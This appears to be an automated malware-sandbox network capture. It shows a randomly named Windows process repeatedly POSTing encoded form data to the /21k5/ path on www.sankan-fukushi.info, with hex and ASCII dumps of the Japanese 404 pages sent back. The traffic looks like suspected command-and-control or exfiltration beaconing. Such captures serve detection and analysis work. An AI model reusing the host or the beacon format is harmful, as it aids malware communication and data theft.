Nov 20, 2024 08:32:19.343940973 CET	1236	IN	Data Raw: 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 63 33 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 6f 72 Data Ascii: : middle; border-radius: 6px; background: #fc3; -webkit-order: 1; -ms-flex-order: 1; order: 1; } .lol-error-page__information-balloon::after { position: absolute; z-index: 1;
Nov 20, 2024 08:32:19.343952894 CET	1236	IN	Data Raw: 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 2d 62 61 6e 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 Data Ascii: } .lol-error-page__ad-banner { text-align:center; margin: 15px auto 20px; } .lol-error-page__ad-banner-holizontal { width: 300px; height: auto; margin: auto; } @media s
Nov 20, 2024 08:32:19.344062090 CET	1236	IN	Data Raw: 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 31 34 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 35 20 31 34 38 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 Data Ascii: rg/2000/svg" width="100" height="142" viewBox="0 0 105 148"><g fill="none"><path fill="#f60" d="M87.7 52.376c-.742-3.291-1.243-6.631-1.5-9.994.943-3.251 4.968-18.858-3.232-30.342-5.627-7.931-15.639-12.04-29.9-12.04h-.329c-14.1 0-24.317 3.988-3
Nov 20, 2024 08:32:19.344161987 CET	1236	IN	Data Raw: 2e 35 31 34 2e 33 39 36 20 31 2e 31 35 33 2e 35 39 34 20 31 2e 38 2e 35 35 37 20 31 2e 34 34 31 2e 33 31 35 20 32 2e 39 31 38 2d 2e 33 35 32 20 33 2e 36 33 36 2d 31 2e 36 34 31 2e 38 35 31 2d 31 2e 39 34 31 20 31 2e 32 39 33 2d 34 2e 30 33 37 20 Data Ascii: .514.396 1.153.594 1.8.557 1.441.315 2.918-.352 3.636-1.641.851-1.941 1.293-4.037 1.3-6.156.258-2.084.09-4.199-.494-6.216-.544-1.376-1.926-2.233-3.4-2.107l-.402-.015z"/><path fill="#f60" d="M51.976 102.7c-.463 0-.908-.179-1.242-.5l-11.044-10.5
Nov 20, 2024 08:32:19.344175100 CET	1236	IN	Data Raw: 2d 2e 33 37 33 2d 33 2e 36 32 31 2d 31 2e 36 37 31 2d 2e 38 32 34 2d 31 2e 39 33 32 2d 31 2e 32 34 36 2d 34 2e 30 31 31 2d 31 2e 32 34 31 2d 36 2e 31 31 31 2d 2e 33 38 39 2d 36 2e 37 38 38 20 31 2e 30 33 33 2d 38 2e 31 32 37 20 33 2e 39 36 36 2d Data Ascii: -.373-3.621-1.671-.824-1.932-1.246-4.011-1.241-6.111-.389-6.788 1.033-8.127 3.966-8.293h.4c.392-.013.783.049 1.152.181-.185 1.468-.28 2.946-.284 4.425-.01 3.674.495 7.332 1.5 10.866l-.072.061zm26.365 19.475h-.15c-10.071 0-18.9-8.293-22.447-19.
Nov 20, 2024 08:32:19.344187021 CET	1236	IN	Data Raw: 34 2e 30 39 34 20 31 2e 37 38 2e 30 31 35 20 33 2e 32 2d 31 2e 37 37 36 20 33 2e 32 31 37 2d 34 2e 30 36 34 2e 30 31 37 2d 32 2e 32 38 38 2d 31 2e 33 37 36 2d 34 2e 30 37 39 2d 33 2e 31 37 32 2d 34 2e 30 39 34 7a 6d 32 36 2e 32 2e 31 32 63 2d 31 Data Ascii: 4.094 1.78.015 3.2-1.776 3.217-4.064.017-2.288-1.376-4.079-3.172-4.094zm26.2.12c-1.8 0-3.2 1.776-3.217 4.064-.017 2.288 1.394 4.091 3.19 4.091s3.2-1.776 3.217-4.064c.017-2.288-1.391-4.091-3.187-4.091h-.003zm-29.1-2.182c-.701-.023-1.326-.45-1.6
Nov 20, 2024 08:32:19.344199896 CET	1236	IN	Data Raw: 2e 31 32 35 2d 36 2e 33 30 36 2d 2e 30 31 36 2d 2e 34 38 31 2e 31 36 2d 2e 39 34 39 2e 34 38 39 2d 31 2e 33 2e 34 39 34 2d 2e 35 33 33 20 31 2e 32 36 34 2d 2e 37 31 20 31 2e 39 34 2d 2e 34 34 35 2e 36 37 37 2e 32 36 35 20 31 2e 31 32 32 2e 39 31 Data Ascii: .125-6.306-.016-.481.16-.949.489-1.3.494-.533 1.264-.71 1.94-.445.677.265 1.122.918 1.122 1.645-.153 2.481-.842 4.9-2.02 7.089l1.586 2c.428.536.517 1.267.228 1.889-.289.622-.904 1.027-1.59 1.046l-.004-.004zm26.535 11.408l-17.284-.647c-.997-.03
Nov 20, 2024 08:32:19.348954916 CET	1236	IN	Data Raw: 2e 38 30 31 2e 31 32 34 2d 31 2e 31 33 33 2e 33 35 36 2d 2e 36 38 33 2e 34 38 32 2d 31 2e 30 30 31 20 31 2e 33 33 33 2d 2e 38 20 32 2e 31 34 35 2e 30 32 33 2e 31 32 36 2e 30 35 36 2e 32 35 2e 31 2e 33 37 31 2e 33 31 32 2e 37 34 33 20 31 2e 30 34 Data Ascii: .801.124-1.133.356-.683.482-1.001 1.333-.8 2.145.023.126.056.25.1.371.312.743 1.041 1.224 1.846 1.218.805-.006 1.528-.497 1.829-1.244l.061-.2.029-.146c.201-.812-.116-1.664-.8-2.146-.332-.231-.727-.355-1.131-.354h-.001zm0-9.692c-.405-.001-.801.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49991	163.44.185.183	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:21.122011900 CET	855	OUT	POST /21k5/ HTTP/1.1 Host: www.sankan-fukushi.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.sankan-fukushi.info Referer: http://www.sankan-fukushi.info/21k5/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 53 55 7a 47 6e 75 76 48 71 6a 72 64 32 66 51 70 44 39 72 5a 4f 62 68 46 73 6f 4d 64 76 65 58 38 4a 6c 77 5a 67 34 48 52 49 74 6d 6f 35 63 4c 43 4c 37 45 64 2f 67 4e 6f 61 67 37 73 72 5a 36 51 4c 78 4a 70 43 36 52 63 46 36 4c 47 41 33 51 37 68 68 55 2f 58 65 76 34 41 67 34 6c 71 52 75 46 70 52 74 64 6a 75 4b 4b 57 75 71 52 53 79 63 6f 36 31 65 52 63 71 46 76 50 33 6a 59 63 6c 32 63 65 6f 6a 48 77 4d 55 39 56 32 44 50 4e 4f 62 63 38 61 34 65 39 59 6a 67 5a 39 4c 31 35 77 49 79 77 4f 35 57 44 4c 50 66 6e 32 7a 55 2f 76 45 7a 62 2f 50 59 5a 31 38 48 4b 37 55 37 65 68 65 6d 6d 6c 46 79 71 71 34 68 49 55 72 6e 34 65 49 37 70 5a 72 53 33 68 70 7a 76 64 65 4b 79 54 4d 73 4b 67 3d 3d Data Ascii: GR54yHZ8=SUzGnuvHqjrd2fQpD9rZObhFsoMdveX8JlwZg4HRItmo5cLCL7Ed/gNoag7srZ6QLxJpC6RcF6LGA3Q7hhU/Xev4Ag4lqRuFpRtdjuKKWuqRSyco61eRcqFvP3jYcl2ceojHwMU9V2DPNObc8a4e9YjgZ9L15wIywO5WDLPfn2zU/vEzb/PYZ18HK7U7ehemmlFyqq4hIUrn4eI7pZrS3hpzvdeKyTMsKg==
Nov 20, 2024 08:32:21.919670105 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:21 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Nov 20, 2024 08:32:21.919878006 CET	224	IN	Data Raw: 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f Data Ascii: -weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center;
Nov 20, 2024 08:32:21.919886112 CET	1236	IN	Data Raw: 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 Data Ascii: -ms-flex-pack: center; justify-content: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap;
Nov 20, 2024 08:32:21.919893026 CET	1236	IN	Data Raw: 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 63 33 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 6f 72 Data Ascii: : middle; border-radius: 6px; background: #fc3; -webkit-order: 1; -ms-flex-order: 1; order: 1; } .lol-error-page__information-balloon::after { position: absolute; z-index: 1;
Nov 20, 2024 08:32:21.919899940 CET	1236	IN	Data Raw: 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 2d 62 61 6e 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 Data Ascii: } .lol-error-page__ad-banner { text-align:center; margin: 15px auto 20px; } .lol-error-page__ad-banner-holizontal { width: 300px; height: auto; margin: auto; } @media s
Nov 20, 2024 08:32:21.919914961 CET	1236	IN	Data Raw: 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 31 34 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 35 20 31 34 38 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 Data Ascii: rg/2000/svg" width="100" height="142" viewBox="0 0 105 148"><g fill="none"><path fill="#f60" d="M87.7 52.376c-.742-3.291-1.243-6.631-1.5-9.994.943-3.251 4.968-18.858-3.232-30.342-5.627-7.931-15.639-12.04-29.9-12.04h-.329c-14.1 0-24.317 3.988-3
Nov 20, 2024 08:32:21.919928074 CET	1236	IN	Data Raw: 2e 35 31 34 2e 33 39 36 20 31 2e 31 35 33 2e 35 39 34 20 31 2e 38 2e 35 35 37 20 31 2e 34 34 31 2e 33 31 35 20 32 2e 39 31 38 2d 2e 33 35 32 20 33 2e 36 33 36 2d 31 2e 36 34 31 2e 38 35 31 2d 31 2e 39 34 31 20 31 2e 32 39 33 2d 34 2e 30 33 37 20 Data Ascii: .514.396 1.153.594 1.8.557 1.441.315 2.918-.352 3.636-1.641.851-1.941 1.293-4.037 1.3-6.156.258-2.084.09-4.199-.494-6.216-.544-1.376-1.926-2.233-3.4-2.107l-.402-.015z"/><path fill="#f60" d="M51.976 102.7c-.463 0-.908-.179-1.242-.5l-11.044-10.5
Nov 20, 2024 08:32:21.920092106 CET	552	IN	Data Raw: 2d 2e 33 37 33 2d 33 2e 36 32 31 2d 31 2e 36 37 31 2d 2e 38 32 34 2d 31 2e 39 33 32 2d 31 2e 32 34 36 2d 34 2e 30 31 31 2d 31 2e 32 34 31 2d 36 2e 31 31 31 2d 2e 33 38 39 2d 36 2e 37 38 38 20 31 2e 30 33 33 2d 38 2e 31 32 37 20 33 2e 39 36 36 2d Data Ascii: -.373-3.621-1.671-.824-1.932-1.246-4.011-1.241-6.111-.389-6.788 1.033-8.127 3.966-8.293h.4c.392-.013.783.049 1.152.181-.185 1.468-.28 2.946-.284 4.425-.01 3.674.495 7.332 1.5 10.866l-.072.061zm26.365 19.475h-.15c-10.071 0-18.9-8.293-22.447-19.
Nov 20, 2024 08:32:21.921544075 CET	1236	IN	Data Raw: 37 2d 2e 33 20 32 2e 39 33 35 2d 2e 32 38 32 20 31 2e 35 38 39 2d 2e 33 34 38 20 33 2e 32 30 39 2d 2e 31 39 35 20 34 2e 38 31 36 2d 33 2e 37 33 20 31 31 2e 32 32 37 2d 31 32 2e 35 37 34 20 31 39 2e 33 38 34 2d 32 32 2e 35 35 35 20 31 39 2e 33 38 Data Ascii: 7-.3 2.935-.282 1.589-.348 3.209-.195 4.816-3.73 11.227-12.574 19.384-22.555 19.384zm32.922-26.443c-.011 2.098-.449 4.172-1.287 6.095-.718 1.289-2.195 1.956-3.636 1.641-.647.037-1.286-.161-1.8-.557v-.075c1.028-3.526 1.556-7.178 1.571-10.851.00
Nov 20, 2024 08:32:21.921623945 CET	1236	IN	Data Raw: 35 31 2d 31 2e 39 36 2e 39 35 39 2d 32 2e 33 34 39 20 32 2e 36 35 33 2d 31 2e 31 32 33 20 35 2e 37 31 39 2d 2e 35 38 31 20 37 2e 38 32 36 20 31 2e 33 38 35 2e 34 36 38 2e 35 32 33 2e 35 39 20 31 2e 32 37 2e 33 31 34 20 31 2e 39 31 35 2d 2e 32 37 Data Ascii: 51-1.96.959-2.349 2.653-1.123 5.719-.581 7.826 1.385.468.523.59 1.27.314 1.915-.276.645-.901 1.072-1.602 1.095l-.013.06z"/><path fill="#fff" d="M56.39 64.973l-4.115 1.46-4.115-1.5"/><path fill="#f60" d="M52.26 68.239c-.209.001-.417-.035-.614-.
Nov 20, 2024 08:32:21.924953938 CET	1236	IN	Data Raw: 2d 31 2e 31 2d 31 2e 32 38 36 6c 2d 2e 33 37 32 2d 2e 34 34 38 2d 2e 31 31 31 2d 2e 31 34 37 63 2d 2e 33 34 33 2d 2e 34 35 39 2d 2e 37 2d 2e 39 33 34 2d 31 2e 30 33 37 2d 31 2e 34 33 33 6c 2d 2e 31 35 38 2d 2e 32 33 38 63 2d 2e 33 37 32 2d 2e 35 Data Ascii: -1.1-1.286l-.372-.448-.111-.147c-.343-.459-.7-.934-1.037-1.433l-.158-.238c-.372-.537-.74-1.108-1.123-1.724l-.442-.736-.214-.365-.431-.748c-1.299-2.367-2.416-4.83-3.342-7.366-1.876-5.242-3.133-10.686-3.746-16.22l1.927-.47 2.274 5.9c.088.224.271

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49992	163.44.185.183	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:23.665066004 CET	1868	OUT	POST /21k5/ HTTP/1.1 Host: www.sankan-fukushi.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.sankan-fukushi.info Referer: http://www.sankan-fukushi.info/21k5/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 53 55 7a 47 6e 75 76 48 71 6a 72 64 32 66 51 70 44 39 72 5a 4f 62 68 46 73 6f 4d 64 76 65 58 38 4a 6c 77 5a 67 34 48 52 49 74 2b 6f 34 75 44 43 4a 59 73 64 77 41 4e 6f 5a 67 37 74 72 5a 37 56 4c 77 68 6c 43 36 63 2b 46 2b 37 47 41 56 49 37 70 77 55 2f 64 65 76 34 43 67 34 34 6b 78 75 55 70 53 56 5a 6a 75 61 4b 57 75 71 52 53 77 45 6f 34 6b 65 52 61 71 46 73 66 48 6a 4d 59 6c 32 34 65 6f 4c 58 77 4d 51 44 56 46 4c 50 4e 71 2f 63 77 4a 41 65 30 59 6a 69 59 39 4b 6d 35 77 56 69 77 4f 6c 73 44 4b 4c 31 6e 30 76 55 2f 72 56 4e 42 2b 58 48 47 57 6f 39 4c 36 6f 69 56 55 43 75 6d 55 77 4d 72 6f 73 71 46 46 58 56 77 76 6f 2f 6e 59 53 76 68 7a 52 46 73 61 48 46 34 43 56 48 53 6c 74 43 4d 78 30 55 54 64 61 4a 47 67 56 46 75 35 46 54 6c 77 55 66 76 4b 4b 42 4a 33 64 35 66 4b 46 78 37 4e 6e 32 34 74 74 4d 55 45 58 39 70 47 33 38 79 78 43 37 76 50 68 59 66 50 57 6f 48 4a 6c 78 30 46 32 79 48 49 5a 4f 46 36 64 57 4b 4b 54 6c 59 75 66 68 42 5a 59 6d 4e 47 47 34 6f 42 76 44 48 2b 6d 79 76 [TRUNCATED] Data Ascii: GR54yHZ8=SUzGnuvHqjrd2fQpD9rZObhFsoMdveX8JlwZg4HRIt+o4uDCJYsdwANoZg7trZ7VLwhlC6c+F+7GAVI7pwU/dev4Cg44kxuUpSVZjuaKWuqRSwEo4keRaqFsfHjMYl24eoLXwMQDVFLPNq/cwJAe0YjiY9Km5wViwOlsDKL1n0vU/rVNB+XHGWo9L6oiVUCumUwMrosqFFXVwvo/nYSvhzRFsaHF4CVHSltCMx0UTdaJGgVFu5FTlwUfvKKBJ3d5fKFx7Nn24ttMUEX9pG38yxC7vPhYfPWoHJlx0F2yHIZOF6dWKKTlYufhBZYmNGG4oBvDH+myvLdsel7sNvsE0VSlgAjr9mcO9fUfm7hCYwJVh+aybPyqcApfNSD8NAYUVucMizPglyQOvCRvjK79/1m0Wm25s96ErinLxfJ9CGD6rANoHNwQutwNM46zEhr72VuTnC3rK0ujKm37eigTtI8+4e/Zwtw9IdXsMqmxwYr+GyppjMN/BXN0gZ0PmDLDeOSpcI9nytvIOHRno0nBZb4/ajb62Jp8FS45/MYtfcgr0KrjEhCIp3AuvAibqpiO/+OLBQkO7N98N/RwetXMh4E9QR4Lah52g3pryM0KCcQWkd/TorLZMWhhVbhDXo4VFPqldqFMlDikUxqBqT1MUeOqSae2L2qPHHTGtPmG9kJz1D3JUMtDFJemOkoCkE++arWBGXRWT0KU+aXeVsTpUrTLJr1xT3+nXgfaUm2CNTzziWEOVsJjxyu+0I0XCRENnuZeO6kIQidmxBayG/lZVOxgcNUzyTi4wfk7yZviKn1wS6gSU8pnc3T8X1pCxqvL7wXtDTniEScxviZ3MCbZt7uX+QXM4YoiwV7r+eYUusQM/5QiuVgLicjcIjVdcqTFtI+T//mJiOFs9vLZZCA3LQkk2irBIxUGd6RWensz/oLAEot4m+EJvFCSsgEi7e1eybWsM6QFmGpvbEn/wP+qyHEydq/ipz0+mLZGoQdfcot [TRUNCATED]
Nov 20, 2024 08:32:24.442312956 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:24 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Nov 20, 2024 08:32:24.442328930 CET	231	IN	Data Raw: 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f Data Ascii: -weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -m
Nov 20, 2024 08:32:24.442339897 CET	1236	IN	Data Raw: 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6c 69 67 6e 2d 69 74 Data Ascii: s-flex-pack: center; justify-content: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wr
Nov 20, 2024 08:32:24.442435026 CET	1236	IN	Data Raw: 65 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 63 33 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 6f 72 64 65 72 3a 20 31 3b Data Ascii: e; border-radius: 6px; background: #fc3; -webkit-order: 1; -ms-flex-order: 1; order: 1; } .lol-error-page__information-balloon::after { position: absolute; z-index: 1;
Nov 20, 2024 08:32:24.442446947 CET	1236	IN	Data Raw: 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 2d 62 61 6e 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 Data Ascii: .lol-error-page__ad-banner { text-align:center; margin: 15px auto 20px; } .lol-error-page__ad-banner-holizontal { width: 300px; height: auto; margin: auto; } @media screen a
Nov 20, 2024 08:32:24.442456961 CET	1236	IN	Data Raw: 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 31 34 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 35 20 31 34 38 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 Data Ascii: /svg" width="100" height="142" viewBox="0 0 105 148"><g fill="none"><path fill="#f60" d="M87.7 52.376c-.742-3.291-1.243-6.631-1.5-9.994.943-3.251 4.968-18.858-3.232-30.342-5.627-7.931-15.639-12.04-29.9-12.04h-.329c-14.1 0-24.317 3.988-30.153 1
Nov 20, 2024 08:32:24.442467928 CET	848	IN	Data Raw: 36 20 31 2e 31 35 33 2e 35 39 34 20 31 2e 38 2e 35 35 37 20 31 2e 34 34 31 2e 33 31 35 20 32 2e 39 31 38 2d 2e 33 35 32 20 33 2e 36 33 36 2d 31 2e 36 34 31 2e 38 35 31 2d 31 2e 39 34 31 20 31 2e 32 39 33 2d 34 2e 30 33 37 20 31 2e 33 2d 36 2e 31 Data Ascii: 6 1.153.594 1.8.557 1.441.315 2.918-.352 3.636-1.641.851-1.941 1.293-4.037 1.3-6.156.258-2.084.09-4.199-.494-6.216-.544-1.376-1.926-2.233-3.4-2.107l-.402-.015z"/><path fill="#f60" d="M51.976 102.7c-.463 0-.908-.179-1.242-.5l-11.044-10.527c-.40
Nov 20, 2024 08:32:24.442667961 CET	1236	IN	Data Raw: 30 34 2d 2e 30 30 31 20 32 2e 36 35 38 2e 35 38 31 20 35 2e 32 38 33 20 31 2e 37 30 36 20 37 2e 36 39 31 20 31 2e 32 34 37 20 32 2e 32 39 36 20 33 2e 37 30 36 20 33 2e 36 36 38 20 36 2e 33 31 35 20 33 2e 35 32 32 68 2e 36 34 33 63 2e 39 37 39 2d Data Ascii: 04-.001 2.658.581 5.283 1.706 7.691 1.247 2.296 3.706 3.668 6.315 3.522h.643c.979-.032 1.941-.261 2.829-.673 4.489 11.438 14.1 19.566 24.976 19.566h.209c10.834 0 20.486-8.037 25.051-19.415.881.422 1.837.662 2.813.707h.733c2.576.142 5.006-1.201
